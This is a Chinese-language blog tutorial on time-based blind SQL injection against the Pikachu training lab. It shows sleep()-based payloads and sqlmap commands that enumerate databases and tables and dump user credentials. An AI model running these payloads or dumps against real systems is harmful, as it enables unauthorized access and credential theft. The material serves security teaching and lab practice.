网络安全之SQL注入
1.0.1 时间注入
时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据而采用一种突破注入的技巧。
在 mysql 里 函数 sleep()
是延时的意思,sleep(10)就是 数据库延时 10 秒返回内容。判断注入可以使用'and sleep(10)
数据库延时 10 秒返回值。
网页响应时间至少要 10 秒,根据这个原理来判断存在 SQL 时间注入。
mysql 延时注入用到的函数
sleep()
、if()
、substring()
select if(2>1,sleep(10),0) 2>1
这个部分就是你注入要构造的 SQL 语句。
select if(length(database())>1,sleep(5),0)
这个就是查询当前库大于 1 就会延时 5 秒执行。
-1' or if(length(database())>1,sleep(5),0)--+
可以看到网页是大于五秒返回。根据这个原理 n>1,n 不延时就能确定当前数据库的长度了。
如果想要获取数据内容 可以用截取字符再再进行字符对比 如果相同就进行延时。这样就能获取字符接着再拼接就是当当前库的内容。
1.0.2 时间注入代码分析
在页面中分析源码 直接获取 name 带进数据库进行查询,但是是否存在记录页面返回都一样。
时间注入代码分析:
因为是延时注入,故我们爆破数据是有时间延迟的,耐心等待就OK~ 🚶
在黑盒模式下可以使用 sqlmap 对注入检测。sqlmap 支持多种数据库注入,而且支持多种注入方式。
采用时间注入:
sqlmap -u "http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submit=查询" -p
name -v 1 --technique=T
-u 表示检测的 url
-p 指定的检测参数
-v 显示调试模式
--technique=T 检测方法为时间注入
sqlmap 检测为时间注入 接下来进行 通过这个注入获取数据库的名,用户权限,表,字段等敏感信息的获取。
使用 sqlmap
sqlmap -u "http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --current-user --current-db --batch
--current-user 获取用户
--current-db 当前库
--batch 使用默认模式 自动 y
获取表 -D 指定数据库 --tables 获取表
sqlmap -u "http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --tables -D pikachu --batch
获取表 -D 指定数据库 --tables 获取表
sqlmap -u "http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --tables -D pikachu --batch
获取字段
在 sqlmap --columns 获取字典 -T 某个表
sqlmap -u "http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --columns -T users -D pikachu --batch
sqlmap 查询账号和密码
sqlmap -u "http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -p name -v 1 --technique=T --dump -C "id,username,password" -T users -D pikachu --batch
--dump 导出数据
-C 指定查询的字段
sqlmap 查询账号和密码
sqlmap -u "http://192.168.0.134/06/vul/sqli/sqli_blind_t.php?name=1&submit=查询" -p name -v 1 --technique=T --dump -C "id,username,password" -T users -D pikachu --batch
--dump 导出数据
-C 指定查询的字段
使用 sqlmap 很容易就能把时间注入的数据注入查询出来。
本文来自博客园,作者:Colin_Cora,转载请注明原文链接:https://www.cnblogs.com/Colincora/p/16233554.html
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
· 三行代码完成国际化适配,妙~啊~